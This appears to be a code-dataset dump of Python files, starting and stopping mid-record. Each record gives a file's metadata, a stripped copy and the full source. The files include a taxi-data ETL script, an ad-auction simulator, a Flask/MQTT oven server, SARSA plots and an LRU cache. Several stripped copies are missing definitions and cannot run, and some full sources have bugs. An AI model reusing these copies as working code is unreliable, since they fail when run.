type(cfg)) # Create a mini configuration dictionary. sources_cfg = cfg['sources'] extract_data(sources_cfg) # df = extract_data() # df = transform_data(df) # visualize_data(df) # =========================================================================== # # MAIN EXECUTION # =========================================================================== # # -- CLI option processing -- # args = cli.read_args() # -- Main Program -- # # If this module is in the main module, call the main() function. if __name__ == '__main__': main() # -- Housekeeping -- # # Exit the program normally (i.e., with a POSIX exit code of 0). sys.exit(0)

22.617978

79

0.513164

#!/usr/bin/env python3 """ __main__.py - The main module for processing data and creating visual summaries for this study. """ import os import sys from pathlib import Path import etl import pandas as pd import ui.cli as cli from file import YAMLFile # =========================================================================== # # METADATA # =========================================================================== # __author__ = 'Robert (Bob) L. Jones' __credits__ = ['Robert (Bob) L. Jones'] __created_date__ = 'Dec 29, 2020' __modified_date__ = 'Dec 30, 2020' # =========================================================================== # # EXPORTS # =========================================================================== # # Define the module's API -- the list of exportable objects (classes, # functions, etc.) -- when performing a "wild import" (`from field import *`). __all__ = [ 'DEBUG', ] # =========================================================================== # # CONSTANTS # =========================================================================== # # -- Debugging -- # DEBUG = bool(os.getenv('DEBUG', default=False)) # -- Filesytem -- # PREFIX = Path(os.getenv('PREFIX', default='.')).resolve() DATA_DIR = PREFIX / 'data' SOURCE_DIR = DATA_DIR / '01_raw' RESULTS_DIR = PREFIX / 'results' SOURCE_FILE = '%s_tripdata_%4d-%02d.csv' # -- URLs -- # SOURCE_URL = 'https://s3.amazonaws.com/nyc-tlc/trip+data' # =========================================================================== # # FUNCTIONS # =========================================================================== # # -- Data Analytics -- # def visualize_data(df: pd.DataFrame): pass # Debug data frame. DEBUG and preview(df, visualize_data.__name__) # Return data frame for reuse. return df # -- Data Processing: Extract -- # def extract_data(config: dict): # Define an inner function to extract source data files. def extract_files(type: str): source.extract_files( type, config[type]['start_date'], config[type]['end_date'], ) # Create source. source = etl.Source(SOURCE_FILE, SOURCE_URL, SOURCE_DIR) # Extract trip records. extract_files('yellow') # Yellow Taxi extract_files('green') # Green Taxi extract_files('fhv') # For-Hire Vehicle extract_files('fhvhv') # High Volume For-Hire Vehicle # -- Data Processing: Transform -- # # -- Data Processing: Load -- # # -- Utilities -- # def percent(num, denom): return 100 * num / denom def preview(df: pd.DataFrame, func_name: str): print(f'INSIDE {func_name}(): type =', type(df).__name__) print(df.head(5)) def zScore(x, mean, std): return (x - mean) / std # -- Main Program -- # def main(): """ Runs the main set of functions that define the program. """ # Confirm debugging state. DEBUG and print('DEBUG =', DEBUG) # Confirm Python path. DEBUG and print('sys.path =', sys.path) # Print constants. DEBUG and print('PREFIX =', PREFIX) # Print CLI option values. DEBUG and print('args.config =', args.config) # Ex: etc/settings/etl.cfg # Read a configuration file. cfg = YAMLFile(args.config).load() DEBUG and print('cfg =', cfg) DEBUG and print('type(cfg) =', type(cfg)) # Create a mini configuration dictionary. sources_cfg = cfg['sources'] extract_data(sources_cfg) # df = extract_data() # df = transform_data(df) # visualize_data(df) # =========================================================================== # # MAIN EXECUTION # =========================================================================== # # -- CLI option processing -- # args = cli.read_args() # -- Main Program -- # # If this module is in the main module, call the main() function. if __name__ == '__main__': main() # -- Housekeeping -- # # Exit the program normally (i.e., with a POSIX exit code of 0). sys.exit(0)

0

871

0

-13

160

dcfb93be50b868f85e2e53dee2d5dd941c95ec50

4,100

py

Python

ssa_sim_v2/simulator/modules/auction_attributes/auction_attributes_base_module.py

donghun2018/adclick-simulator-v2

ade886e9dcbde9fcea218a19f0130cc09f81e55e

[ "MIT" ]

null

ssa_sim_v2/simulator/modules/auction_attributes/auction_attributes_base_module.py

donghun2018/adclick-simulator-v2

ade886e9dcbde9fcea218a19f0130cc09f81e55e

[ "MIT" ]

null

ssa_sim_v2/simulator/modules/auction_attributes/auction_attributes_base_module.py

donghun2018/adclick-simulator-v2

ade886e9dcbde9fcea218a19f0130cc09f81e55e

[ "MIT" ]

null

# Fix paths for imports to work in unit tests ---------------- if __name__ == "__main__": from _fix_paths import fix_paths fix_paths() # ------------------------------------------------------------ # Load libraries --------------------------------------------- # ------------------------------------------------------------ if __name__ == "__main__": import unittest suite = unittest.TestSuite() suite.addTest(unittest.makeSuite(TestAuctionsAttributes)) unittest.TextTestRunner().run(suite)

33.606557

152

0.596098

# Fix paths for imports to work in unit tests ---------------- if __name__ == "__main__": from _fix_paths import fix_paths fix_paths() # ------------------------------------------------------------ # Load libraries --------------------------------------------- from typing import Dict import numpy as np from collections import namedtuple from ssa_sim_v2.simulator.modules.simulator_module import SimulatorModule # ------------------------------------------------------------ class AuctionAttributesModule(SimulatorModule): """ Base class for all click probability modules with segments. :ivar np.random.RandomState rng: Random number generator. :ivar dict prior: Dict with constant probabilities for every segment. """ Params = namedtuple('Params', ['p']) """ :param float p: Probability of selecting a user from a segment. """ def __init__(self, prior={(0,): Params(p=5)}, seed=9): """ :param dict prior: Dict with constant probabilities for every segment. :param int seed: Seed for the random number generator. """ super().__init__(prior, seed) self.prior = dict() # Normalize prior and store in self.priors total_p_values = 0 for key in prior.keys(): total_p_values += prior[key].p for key in prior.keys(): self.prior[key] = AuctionAttributesModule.Params(p=prior[key].p / total_p_values) self.rng = np.random.RandomState(seed) def get_auction_attributes(self, n): """ Method that returns a dict of number of times each segment has been selected. :param int n: Number of auctions for which to sample attributes. :return: Dict of number of times each segment was present in n auctions. :rtype: Dict[tuple, int] """ # This is used since np does not want to accept tuple as an item and throws error that 'a must be 1-dimensional' # dict keys (tuples) are converted to strings, then random choice is made using strings versions of keys, then # results are passed to a final dict where keys are of their original form keys_dict = dict() for key in self.prior.keys(): keys_dict[str(key)] = key keys = list(self.prior) keys = [str(key) for key in keys] probabilities = [self.prior[keys_dict[key]].p for key in keys] choices = self.rng.choice(a=keys, p=probabilities, size=n) unique, counts = np.unique(choices, return_counts=True) choices_dict_str = dict(zip(unique, counts)) for key in keys: if key in choices_dict_str.keys(): pass else: choices_dict_str[key] = 0 choices_dict = dict() for key in self.prior.keys(): choices_dict[key] = choices_dict_str[str(key)] return choices_dict if __name__ == "__main__": import unittest class TestAuctionsAttributes(unittest.TestCase): def test_sanity(self): Params = AuctionAttributesModule.Params attributes_model = AuctionAttributesModule( prior={ (0, 0): Params(p=45), (0, 1): Params(p=25), (1, 0): Params(p=235), (1, 1): Params(p=76)}, seed=1234 ) number_of_auctions = [100, 1000, 10000, 15000, 50000, 150000, 300000, 500000] for num in number_of_auctions: choices_dict = attributes_model.get_auction_attributes(n=num) #print(f'Throughout {num} auctions that were run, following segments were selected following number of times: {choices_dict}') print ('Throughout {} auctions that were run, following segments were selected following number of times: {}').format(num, choices_dict) self.assertTrue(True) print("") suite = unittest.TestSuite() suite.addTest(unittest.makeSuite(TestAuctionsAttributes)) unittest.TextTestRunner().run(suite)

0

3,367

0

64

142

348061fbd3722432b2a2937544c82aef93786355

232

py

Python

src/cloudio/exception/invalid_cloudio_attribute_type_exception.py

michaelFavre/cloudio-endpoint-python

c00f7cc0578d1974d47fbab5a97a3239fcb99084

[ "MIT" ]

null

src/cloudio/exception/invalid_cloudio_attribute_type_exception.py

michaelFavre/cloudio-endpoint-python

c00f7cc0578d1974d47fbab5a97a3239fcb99084

[ "MIT" ]

null

src/cloudio/exception/invalid_cloudio_attribute_type_exception.py

michaelFavre/cloudio-endpoint-python

c00f7cc0578d1974d47fbab5a97a3239fcb99084

[ "MIT" ]

null

# -*- coding: utf-8 -*-

46.4

122

0.732759

# -*- coding: utf-8 -*- class InvalidCloudioAttributeTypeException(Exception): def __init__(self, type): super(InvalidCloudioAttributeTypeException, self).__init__(str(type) + ' is not a valid cloud.io attribute type!')

0

186

0

23

b11059298c8234b3e10476c7c2a4e80a7072ec74

1,085

py

Python

src/account/migrations/0002_auto_20200412_1356.py

kravchenko89/test

9eb43e6e96ec198fa433c775f1ffa0f02022e6e4

[ "MIT" ]

null

src/account/migrations/0002_auto_20200412_1356.py

kravchenko89/test

9eb43e6e96ec198fa433c775f1ffa0f02022e6e4

[ "MIT" ]

6

2021-03-19T10:08:06.000Z

2022-02-10T14:03:57.000Z

src/account/migrations/0002_auto_20200412_1356.py

kravchenko89/test

9eb43e6e96ec198fa433c775f1ffa0f02022e6e4

[ "MIT" ]

null

# Generated by Django 2.2.10 on 2020-04-12 13:56

30.138889

191

0.582488

# Generated by Django 2.2.10 on 2020-04-12 13:56 import django.core.validators from django.db import migrations, models import django_countries.fields class Migration(migrations.Migration): dependencies = [ ('account', '0001_initial'), ] operations = [ migrations.AddField( model_name='user', name='bio', field=models.TextField(blank=True, max_length=500), ), migrations.AddField( model_name='user', name='birth_date', field=models.DateField(blank=True, null=True), ), migrations.AddField( model_name='user', name='country', field=django_countries.fields.CountryField(blank=True, max_length=2, null=True), ), migrations.AddField( model_name='user', name='phone', field=models.CharField(blank=True, max_length=17, null=True, validators=[django.core.validators.RegexValidator(message='it should be: +************', regex='^\\+?1?\\d{9,15}$')]), ), ]

0

909

0

36

90

d34c7fe1bde2e41f49f5f3ca9ebb728a7f0a3605

1,570

py

Python

model_lstm/setup.py

ofbennett/sentiment-analysis-app

94362ae3e638daeec29e09065549fd4078af8a1a

[ "MIT" ]

2

2020-10-04T16:58:54.000Z

2021-10-04T13:51:10.000Z

model_lstm/setup.py

ofbennett/sentiment-analysis-app

94362ae3e638daeec29e09065549fd4078af8a1a

[ "MIT" ]

null

model_lstm/setup.py

ofbennett/sentiment-analysis-app

94362ae3e638daeec29e09065549fd4078af8a1a

[ "MIT" ]

null

from setuptools import find_packages, setup from pathlib import Path NAME = 'model_lstm' DESCRIPTION = 'LSTM model which classifies the sentiment of English sentences.' URL = 'https://github.com/ofbennett/sentiment-analysis-app' EMAIL = '[email protected]' AUTHOR = 'Oscar Bennett' REQUIRES_PYTHON = '>=3.7.0' ROOT_DIR = Path(__file__).resolve().parent PACKAGE_DIR = ROOT_DIR / 'model_lstm' LONG_DESCRIPTION = (PACKAGE_DIR / 'README.md').read_text(encoding='utf-8') with open(PACKAGE_DIR / 'VERSION') as f: VERSION = f.read().strip() setup( name=NAME, version=VERSION, description=DESCRIPTION, long_description=LONG_DESCRIPTION, long_description_content_type='text/markdown', author=AUTHOR, author_email=EMAIL, python_requires=REQUIRES_PYTHON, url=URL, packages=find_packages(exclude=('tests',)), package_data={'model_lstm': ['VERSION', 'README.md', f'trained_models/lstm_model_v{VERSION}.h5', f'trained_models/lstm_pipeline_v{VERSION}.pkl']}, install_requires=list_reqs(), extras_require={}, license='MIT', classifiers=[ 'License :: OSI Approved :: MIT License', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: Implementation :: CPython', ], )

34.130435

82

0.652229

from setuptools import find_packages, setup from pathlib import Path NAME = 'model_lstm' DESCRIPTION = 'LSTM model which classifies the sentiment of English sentences.' URL = 'https://github.com/ofbennett/sentiment-analysis-app' EMAIL = '[email protected]' AUTHOR = 'Oscar Bennett' REQUIRES_PYTHON = '>=3.7.0' ROOT_DIR = Path(__file__).resolve().parent PACKAGE_DIR = ROOT_DIR / 'model_lstm' LONG_DESCRIPTION = (PACKAGE_DIR / 'README.md').read_text(encoding='utf-8') with open(PACKAGE_DIR / 'VERSION') as f: VERSION = f.read().strip() def list_reqs(fname='requirements.txt'): with open(fname) as fd: return fd.read().splitlines() setup( name=NAME, version=VERSION, description=DESCRIPTION, long_description=LONG_DESCRIPTION, long_description_content_type='text/markdown', author=AUTHOR, author_email=EMAIL, python_requires=REQUIRES_PYTHON, url=URL, packages=find_packages(exclude=('tests',)), package_data={'model_lstm': ['VERSION', 'README.md', f'trained_models/lstm_model_v{VERSION}.h5', f'trained_models/lstm_pipeline_v{VERSION}.pkl']}, install_requires=list_reqs(), extras_require={}, license='MIT', classifiers=[ 'License :: OSI Approved :: MIT License', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: Implementation :: CPython', ], )

0

85

0

23

d720558039425b7b46dedfcf73d7c8783c9496cd

579

py

Python

Python/Fundamentals/io_switch.py

Gjacquenot/training-material

16b29962bf5683f97a1072d961dd9f31e7468b8d

[ "CC-BY-4.0" ]

115

2015-03-23T13:34:42.000Z

2022-03-21T00:27:21.000Z

Python/Fundamentals/io_switch.py

Gjacquenot/training-material

16b29962bf5683f97a1072d961dd9f31e7468b8d

[ "CC-BY-4.0" ]

56

2015-02-25T15:04:26.000Z

2022-01-03T07:42:48.000Z

Python/Fundamentals/io_switch.py

Gjacquenot/training-material

16b29962bf5683f97a1072d961dd9f31e7468b8d

[ "CC-BY-4.0" ]

59

2015-11-26T11:44:51.000Z

2022-03-21T00:27:22.000Z

#!/usr/bin/env python if __name__ == '__main__': from argparse import ArgumentParser from io import StringIO import sys arg_parser = ArgumentParser(description='I/O test') arg_parser.add_argument('-o', dest='output', help='output file') options = arg_parser.parse_args() str_io = StringIO() for line in ['abc', 'def', 'ghi']: str_io.write(line + '\n') if options.output: output = open(options.output, 'w') else: output = sys.stdout output.write(str_io.getvalue()) if options.output: output.close()

28.95

68

0.632124

#!/usr/bin/env python if __name__ == '__main__': from argparse import ArgumentParser from io import StringIO import sys arg_parser = ArgumentParser(description='I/O test') arg_parser.add_argument('-o', dest='output', help='output file') options = arg_parser.parse_args() str_io = StringIO() for line in ['abc', 'def', 'ghi']: str_io.write(line + '\n') if options.output: output = open(options.output, 'w') else: output = sys.stdout output.write(str_io.getvalue()) if options.output: output.close()

0

9df7df112f519136b1e342846112fa1c98437980

4,102

py

Python

app.py

banana-breads/SmartOven

d5a79a77ceca6269252d27b350d6d6ccd76f3000

[ "MIT" ]

3

2022-01-30T18:00:26.000Z

2022-01-30T18:03:34.000Z

app.py

banana-breads/SmartOven

d5a79a77ceca6269252d27b350d6d6ccd76f3000

[ "MIT" ]

10

2022-01-30T21:06:40.000Z

2022-02-03T09:42:36.000Z

app.py

banana-breads/SmartOven

d5a79a77ceca6269252d27b350d6d6ccd76f3000

[ "MIT" ]

1

2022-02-01T12:48:05.000Z

import argparse swagger = None # TODO have blueprints in a spepparate module # Arguments parser = argparse.ArgumentParser(description="SmartOven Flask server") parser.add_argument('-t', '--test', help='Run the server in testing mode', action="store_true" ) if __name__ == "__main__": args = parser.parse_args() create_app(testing=args.test) app.run(debug=False)

29.941606

75

0.627986

import json from flask import Flask from flasgger import Swagger from globals import connected_devices, Oven import os import recipes import ovens import recipe_search_online import db from mqtt_shared import mqtt_manager, mqtt_topics from constants import MONGO_URI, MONGO_URI_TEST import argparse from spec import SWAGGER_TEMPLATE, dump_apispecs_to_json from flask_pymongo import PyMongo swagger = None # TODO have blueprints in a spepparate module # Arguments parser = argparse.ArgumentParser(description="SmartOven Flask server") parser.add_argument('-t', '--test', help='Run the server in testing mode', action="store_true" ) def create_app(test_config=None, testing=None): global app, swagger app = Flask(__name__, instance_relative_config=True) if not testing: app.config.from_mapping( SECRET_KEY='dev', MONGO_URI=MONGO_URI, ) else: app.config.from_mapping( SECRET_KEY='test', MONGO_URI=MONGO_URI_TEST, ) # Setting up Swagger API app.config['SWAGGER'] = { 'uiversion': 3, 'openapi': '3.0.2' } swagger = Swagger(app, template=SWAGGER_TEMPLATE) if test_config is None: # load the instance config, if it exists, when not testing app.config.from_pyfile('config.py', silent=True) else: # load the test config if passed in app.config.from_mapping(test_config) # Ensure the instance folder exists try: os.makedirs(app.instance_path) except OSError: pass db.init_app(app) # App blueprints app.register_blueprint(recipes.bp) app.register_blueprint(ovens.bp) app.register_blueprint(recipe_search_online.bp) # Save OpenAPI specs # with app.app_context(): # dump_apispecs_to_json(swagger) mqtt_manager.start("server", 1, [ (mqtt_topics.CONNECT, _handle_device_connect), (mqtt_topics.DISCONNECT, _handle_device_disconnect) ]) return app def _handle_device_connect(client, userdata, msg): client_id = client._client_id.decode() device_id = msg.payload.decode() if client_id == device_id: return if device_id not in connected_devices: connected_devices[device_id] = Oven(device_id) print(f'Device connected {device_id}') ''' new device connected subscribe and handle messages sent to it's corresponding topic ''' def _handle_device_info(client, userdata, msg): topic = msg.topic payload = msg.payload.decode() data = json.loads(payload) info_type = topic.split('/')[-1] print(data) if device_id not in connected_devices: # TODO logging print(f'Device {device_id} not connected') return device = connected_devices[device_id] if info_type == 'temperature': device.temperature = data elif info_type == 'recipe_details': device.recipe_info = data elif info_type == 'time': device.time = data elif info_type == 'state': device.state = data elif info_type == 'recipe_done': # can be replace with notifications in production print(data.get('message', "Recipe done")) topic = mqtt_topics.INFO_PREFIX.format(device_id=device_id) + "/#" mqtt_manager.register_callback(topic, _handle_device_info) def _handle_device_disconnect(client, userdata, msg): device_id = msg.payload.decode() connected_devices.pop(device_id, None) print(f'Device disconnected {device_id}') topic = mqtt_topics.INFO_PREFIX.format(device_id=device_id) + "/#" mqtt_manager.unsubscribe(topic) if __name__ == "__main__": args = parser.parse_args() create_app(testing=args.test) app.run(debug=False)

0

3,227

0

88

380

cfebce4ce5effba03e6fe213972dd94622cfecd1

511

py

Python

msg_90s_celular_20_02_2019/converte_num_letra.py

python-joinville/dojo-puzzles

412d8d3443b2cdb492fa9a77c08a876a182994ee

[ "MIT" ]

3

2018-07-31T19:49:43.000Z

2019-06-28T20:52:58.000Z

msg_90s_celular_20_02_2019/converte_num_letra.py

python-joinville/dojo-puzzles

412d8d3443b2cdb492fa9a77c08a876a182994ee

[ "MIT" ]

null

msg_90s_celular_20_02_2019/converte_num_letra.py

python-joinville/dojo-puzzles

412d8d3443b2cdb492fa9a77c08a876a182994ee

[ "MIT" ]

1

2018-07-28T19:36:48.000Z

tabela = {'2': 'a', '3':'d', '5':'j', '4':'g', '6':'m', '7':'p', '8':'t', '9': 'w', '0': ' ', }

22.217391

47

0.403131

tabela = {'2': 'a', '3':'d', '5':'j', '4':'g', '6':'m', '7':'p', '8':'t', '9': 'w', '0': ' ', } def converte_num_letra(digitos): palavra = '' letra = '' sequencia = '' for digito in digitos: if letra != '' and digito != letra: palavra = palavra + tabela[digito] elif digito == letra: sequencia += digito palavra = palavra + tabela[digito] return palavra

0

311

0

23

494aaca2f4ace6c6bc7d69520a23e5deddd3db65

720

py

Python

src/Chapter 3/Exercise 7.py

group9BSE1/BSE-2021

bea904fce079b856c26f8c06bd734176bdc4d70d

[ "MIT" ]

1

2021-03-27T19:01:49.000Z

src/Chapter 3/Exercise 7.py

group9BSE1/BSE-2021

bea904fce079b856c26f8c06bd734176bdc4d70d

[ "MIT" ]

null

src/Chapter 3/Exercise 7.py

group9BSE1/BSE-2021

bea904fce079b856c26f8c06bd734176bdc4d70d

[ "MIT" ]

null

# location location = input("Job Location:\n") pay = input("Payment:\n") # Prints For decisions no = "No thanks,I can find something Better" doubt = "Without a doubt I'll take it" sure = "Sure, I can work with that" no_way = "No way!" # Try and Except try: location = str(location) pay = float(pay) except: print("Error, Invalid input") # After Except if location == "Mbarara": if pay == 4000000: print(no) else: if pay > 4000000: print(sure) elif location == "Kampala": if pay == 10000000: print(no_way) else: if pay >= 10000000: print(sure) elif location == "space": print(doubt) else: if pay >= 6000000: print(sure)

21.176471

44

0.594444

# location location = input("Job Location:\n") pay = input("Payment:\n") # Prints For decisions no = "No thanks,I can find something Better" doubt = "Without a doubt I'll take it" sure = "Sure, I can work with that" no_way = "No way!" # Try and Except try: location = str(location) pay = float(pay) except: print("Error, Invalid input") # After Except if location == "Mbarara": if pay == 4000000: print(no) else: if pay > 4000000: print(sure) elif location == "Kampala": if pay == 10000000: print(no_way) else: if pay >= 10000000: print(sure) elif location == "space": print(doubt) else: if pay >= 6000000: print(sure)

0

c64480096569db772606bfc626022fbec11fab93

1,753

py

Python

broker-manager/SearchDate.py

victor-prado/broker-manager

b056cf59247e41e890b1443c0c9e44832b79c51a

[ "MIT" ]

null

broker-manager/SearchDate.py

victor-prado/broker-manager

b056cf59247e41e890b1443c0c9e44832b79c51a

[ "MIT" ]

null

broker-manager/SearchDate.py

victor-prado/broker-manager

b056cf59247e41e890b1443c0c9e44832b79c51a

[ "MIT" ]

null

#Arrumar! #root = tk.Tk() #app = SearchDate(master=root) #app.mainloop() #data = Data() #data.db.close()

28.274194

77

0.541928

import tkinter as tk from Data import Data from EditClient import EditClient class SearchDate(tk.Frame, Data): def __init__(self, master=None): super().__init__(master) self.frame = tk.Frame(self.master) self.frame.grid() self.create_table() def create_entry(self, row_value, message): L = tk.Label(self.master, text=message) L.grid(row=row_value, column=0) E = tk.Entry(self.master, bd=5) E.grid(row=row_value, column=1) return E def create_table(self): global E1 E1 = self.create_entry(0, "Data") B1 = tk.Button(self.master, text="Buscar", command=self.search_date) B1.grid(row=0, column=2) def search_date(self): parameter = E1.get() ids = self.contractByDate(parameter) #print(ids) self.frame.destroy() self.frame = tk.Frame(self.master) self.frame.grid() i=0 for line in ids: self.get_contract(line) self.get_client(self.contract["id_client"]) try: result = self.client["name"] except: result = "(Sem nome)" button = tk.Button(self.frame, text=result, command= lambda id_client = self.client["id"]: self.open_client(id_client)) button.grid() i=i+1 def open_client(self, id_client): top = tk.Tk() client = EditClient(master=top, id_client=id_client) client.addButtons() #Arrumar! #root = tk.Tk() #app = SearchDate(master=root) #app.mainloop() #data = Data() #data.db.close()

0

1,546

0

11

89

2d82e8a5afd34b19a82dd079954acdf19ab0b1a0

467

py

Python

lego-catalog/backend/resources/scripts/populate_dynamodb.py

neovasili/101_serverless_workshop

a005ab4af620c3c1a522aab8d201378ea7840ab5

[ "MIT" ]

4

2019-11-13T17:58:15.000Z

2020-03-12T12:24:10.000Z

lego-catalog/backend/resources/scripts/populate_dynamodb.py

neovasili/101_serverless_workshop

a005ab4af620c3c1a522aab8d201378ea7840ab5

[ "MIT" ]

null

lego-catalog/backend/resources/scripts/populate_dynamodb.py

neovasili/101_serverless_workshop

a005ab4af620c3c1a522aab8d201378ea7840ab5

[ "MIT" ]

null

import boto3 import json session = boto3.session.Session( profile_name= 'jmcore' ) dynamodb = session.resource( 'dynamodb', region_name= 'eu-west-1' ) table = dynamodb.Table( 'serverless_workshop' ) with open( "user-sets-data.json" ) as json_file: users = json.load( json_file ) for user in users: userID = user[ 'userID' ] sets = user[ 'sets' ] response = table.put_item( Item = { 'userID': userID, 'sets': sets } )

24.578947

67

0.631692

import boto3 import json session = boto3.session.Session( profile_name= 'jmcore' ) dynamodb = session.resource( 'dynamodb', region_name= 'eu-west-1' ) table = dynamodb.Table( 'serverless_workshop' ) with open( "user-sets-data.json" ) as json_file: users = json.load( json_file ) for user in users: userID = user[ 'userID' ] sets = user[ 'sets' ] response = table.put_item( Item = { 'userID': userID, 'sets': sets } )

0

d9beda75cf8f601813cb1e0106a06881bcd28dbb

4,306

py

Python

ml/sarsa/gym-minigrid/tests.py

AlinMH/C-Projects

1e11b4fd1b96045b4b810d5892b2be73c1d5d886

[ "MIT" ]

null

ml/sarsa/gym-minigrid/tests.py

AlinMH/C-Projects

1e11b4fd1b96045b4b810d5892b2be73c1d5d886

[ "MIT" ]

null

ml/sarsa/gym-minigrid/tests.py

AlinMH/C-Projects

1e11b4fd1b96045b4b810d5892b2be73c1d5d886

[ "MIT" ]

null

if __name__ == '__main__': plot_softmax("MiniGrid-Empty-6x6-v0")

46.804348

105

0.51974

from sarsa_skel import * def plot_egreedy(map): c1 = 0.5 lr1 = 0.1 d1 = 0.99 q01 = 0 steps1, avg_lengths1, avg_returns1 = sarsa_egreedy(map_file=map, learning_rate=lr1, discount=d1, const=c1, train_episodes=500, q0=q01, final_show=False) c2 = 0.5 lr2 = 0.1 d2 = 0.99 q02 = 0.2 steps2, avg_lengths2, avg_returns2 = sarsa_egreedy(map_file=map, learning_rate=lr2, discount=d2, const=c2, train_episodes=500, q0=q02, final_show=False) c3 = 0.5 lr3 = 0.1 d3 = 0.99 q03 = 0.5 steps3, avg_lengths3, avg_returns3 = sarsa_egreedy(map_file=map, learning_rate=lr3, discount=d3, const=c3, train_episodes=500, q0=q03, final_show=False) c4 = 0.5 lr4 = 0.1 d4 = 0.99 q04 = 1 steps4, avg_lengths4, avg_returns4 = sarsa_egreedy(map_file=map, learning_rate=lr4, discount=d4, const=c4, train_episodes=500, q0=q04, final_show=False) _fig, (ax1, ax2) = plt.subplots(ncols=2) ax1.plot(steps1, avg_lengths1, label="egreedy c:" + str(c1) + " lr=" + str(lr1) + " q0=" + str(q01)) ax1.plot(steps2, avg_lengths2, label="egreedy c:" + str(c2) + " lr=" + str(lr2) + " q0=" + str(q02)) ax1.plot(steps3, avg_lengths3, label="egreedy c:" + str(c3) + " lr=" + str(lr3) + " q0=" + str(q03)) ax1.plot(steps4, avg_lengths4, label="egreedy c:" + str(c4) + " lr=" + str(lr4) + " q0=" + str(q04)) ax1.set_title("Average episode length") ax1.legend() ax2.plot(steps1, avg_returns1, label="egreedy c:" + str(c1) + " lr=" + str(lr1) + " q0=" + str(q01)) ax2.plot(steps2, avg_returns2, label="egreedy c:" + str(c2) + " lr=" + str(lr2) + " q0=" + str(q02)) ax2.plot(steps3, avg_returns3, label="egreedy c:" + str(c3) + " lr=" + str(lr3) + " q0=" + str(q03)) ax2.plot(steps4, avg_returns4, label="egreedy c:" + str(c4) + " lr=" + str(lr4) + " q0=" + str(q04)) ax2.set_title("Average episode return") ax2.legend() plt.show() def plot_softmax(map): lr1 = 0.1 d1 = 0.99 steps1, avg_lengths1, avg_returns1 = sarsa_softmax(map_file=map, learning_rate=lr1, discount=d1, train_episodes=500, q0=0, final_show=False) lr2 = 0.2 d2 = 0.99 steps2, avg_lengths2, avg_returns2 = sarsa_softmax(map_file=map, learning_rate=lr2, discount=d2, train_episodes=500, q0=0, final_show=False) lr3 = 0.4 d3 = 0.99 steps3, avg_lengths3, avg_returns3 = sarsa_softmax(map_file=map, learning_rate=lr3, discount=d3, train_episodes=500, q0=0, final_show=False) lr4 = 0.8 d4 = 0.99 steps4, avg_lengths4, avg_returns4 = sarsa_softmax(map_file=map, learning_rate=lr4, discount=d4, train_episodes=500, q0=0, final_show=False) _fig, (ax1, ax2) = plt.subplots(ncols=2) ax1.plot(steps1, avg_lengths1, label="softmax lr=" + str(lr1)) ax1.plot(steps2, avg_lengths2, label="softmax lr=" + str(lr2)) ax1.plot(steps3, avg_lengths3, label="softmax lr=" + str(lr3)) ax1.plot(steps4, avg_lengths4, label="softmax lr=" + str(lr4)) ax1.set_title("Average episode length") ax1.legend() ax2.plot(steps1, avg_returns1, label="softmax lr=" + str(lr1)) ax2.plot(steps2, avg_returns2, label="softmax lr=" + str(lr2)) ax2.plot(steps3, avg_returns3, label="softmax lr=" + str(lr3)) ax2.plot(steps4, avg_returns4, label="softmax lr=" + str(lr4)) ax2.set_title("Average episode return") ax2.legend() plt.show() if __name__ == '__main__': plot_softmax("MiniGrid-Empty-6x6-v0")

0

4,162

0

3

68

47b9a30e8798f592988d1d728ccd51bd10f6cb58

958

py

Python

Python3/146.lru-cache.py

610yilingliu/leetcode

30d071b3685c2131bd3462ba77c6c05114f3f227

[ "MIT" ]

null

Python3/146.lru-cache.py

610yilingliu/leetcode

30d071b3685c2131bd3462ba77c6c05114f3f227

[ "MIT" ]

null

Python3/146.lru-cache.py

610yilingliu/leetcode

30d071b3685c2131bd3462ba77c6c05114f3f227

[ "MIT" ]

null

# # @lc app=leetcode id=146 lang=python3 # # [146] LRU Cache # # @lc code=start # Your LRUCache object will be instantiated and called as such: # obj = LRUCache(capacity) # param_1 = obj.get(key) # obj.put(key,value) # @lc code=end

22.809524

63

0.538622

# # @lc app=leetcode id=146 lang=python3 # # [146] LRU Cache # # @lc code=start class LRUCache: def __init__(self, capacity: int): self.cap = capacity self.d = dict() self.stack = [] def get(self, key: int): if key not in self.d: return -1 self.stack.remove(key) self.stack.append(key) return self.d[key] def put(self, key: int, value: int): if key in self.d: self.d[key] = value self.stack.remove(key) self.stack.append(key) else: if len(self.stack) >= self.cap: to_delete = self.stack[0] self.stack = self.stack[1:] del self.d[to_delete] self.d[key] = value self.stack.append(key) # Your LRUCache object will be instantiated and called as such: # obj = LRUCache(capacity) # param_1 = obj.get(key) # obj.put(key,value) # @lc code=end

0

700

0

22

019902fd823def4e117ea65ffc273ad7678112be

7,817

py

Python

mergejs.py

tmcw/OpenLayerer

44212b0f9a8aae71f6f96f6357671e89f6ea6cc5

[ "Apache-2.0", "BSD-2-Clause" ]

1

2015-07-17T19:01:07.000Z

mergejs.py

tmcw/OpenLayerer

44212b0f9a8aae71f6f96f6357671e89f6ea6cc5

[ "Apache-2.0", "BSD-2-Clause" ]

null

mergejs.py

tmcw/OpenLayerer

44212b0f9a8aae71f6f96f6357671e89f6ea6cc5

[ "Apache-2.0", "BSD-2-Clause" ]

null

#!/usr/bin/env python # # Merge multiple JavaScript source code files into one. # # Usage: # This script requires source files to have dependencies specified in them. # # Dependencies are specified with a comment of the form: # # // @requires <file path> # # e.g. # # // @requires Geo/DataSource.js # # This script should be executed like so: # # mergejs.py <output.js> <directory> [...] # # e.g. # # mergejs.py openlayers.js Geo/ CrossBrowser/ # # This example will cause the script to walk the `Geo` and # `CrossBrowser` directories--and subdirectories thereof--and import # all `*.js` files encountered. The dependency declarations will be extracted # and then the source code from imported files will be output to # a file named `openlayers.js` in an order which fulfils the dependencies # specified. # # # Note: This is a very rough initial version of this code. # # -- Copyright 2005-2008 MetaCarta, Inc. / OpenLayers project -- # # TODO: Allow files to be excluded. e.g. `Crossbrowser/DebugMode.js`? # TODO: Report error when dependency can not be found rather than KeyError. import os, sys SUFFIX_JAVASCRIPT = ".js" RE_REQUIRE = "@requires:? (.*)\n" # TODO: Ensure in comment? def scanjs(sourceDirectory, config = None): """ scans scanDirectory recursively and returns a list of paths to javascript files :param sourceDirectory: the directory root :return list object of all file paths """ allFiles = [] ## Find all the Javascript source files for root, dirs, files in os.walk(sourceDirectory): for filename in files: if filename.endswith(SUFFIX_JAVASCRIPT) and 